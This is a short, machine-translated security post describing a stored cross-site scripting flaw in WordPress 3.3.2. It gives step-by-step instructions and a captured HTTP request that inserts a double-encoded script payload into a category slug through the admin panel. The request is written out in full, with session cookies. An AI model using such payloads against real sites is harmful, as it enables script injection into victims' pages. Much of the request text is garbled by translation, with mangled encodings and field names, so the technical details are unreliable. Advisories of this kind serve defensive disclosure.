WordPress 3.3.2 cross-site storage Vulnerabilities

WordPress's latest version 3.3.2 has a dual-byte-encoded storage Cross-Site vulnerability. You can use bypass's built-in filter mechanism, but the details are as follows:
1: log on to the management account
2: Click category
3: Fill in cross-site parameters and use burp suite to intercept requests
4: Enter % 253 cscript % 253 ealert % 25281% 2529% 253c % 252 fscript % 253e to directly bypass. BURP request packet:
POST/wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv: 11.0) Gecko/20100101 Firefox/11.0
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer:
 
Http://www.2cto.com/wordpress/wp-admin/edit-tags.php? Action = edit & taxonomy = link_category & tag_ID = 2 & post_type = post
 
Cookie:
Wordpress_bbfa5bda-c6b7a9cf3cda9370be3ee91 = admin % 7C1335544051% 7C197b22093eaefaf6950bd81d6aa6372b;
Wp-settings-time-1 = 1335371272; wordpress_test_cookie = WP + Cookie + check;
Wordpress_logged_in_bbfa5bda-c6b7a9cf3cda9370be3ee91 = admin % 7C1335544051% 7c6ebcb9d0107a37c6d7a91274ac94c6cb
Content-Type: application/x-www-form-urlencoded
Content-Length: 379
 
Action = editedtag & tag_ID = 2 & taxonomy = link_category & _ Category = http % 3A % 2F % 2 Flocalhost % 2 Fwordpress % 2Fwp-admin % Category % 3 Ftaxonomy % 3Dlink_category & _ wpnonce = Category & _ layout = % 2 Fwordpress % 2Fwp-admin % layout % 3 Faction % 3 Dedit % 26 taxonomy % 3Dlink_category % 26tag_ID % 3D2% 26post_type % 3 Dpost & name = Blogroll & slug = injecthere % 253 cscript % 253 ealert % 25281% 2529% 253c % 252 fscript % 253e & description = sectest & submit = Update

Small Editor: chicken ribs, chicken ribs in chicken ribs, minminmsn should be translated from foreign articles, without detailed tests, wordpress's default filter mechanism does not filter administrator permissions, therefore, there are not only cross-site in classification, but also many cross-site sites in other places. Maybe there are other trivial purposes.

Author: freebuf.com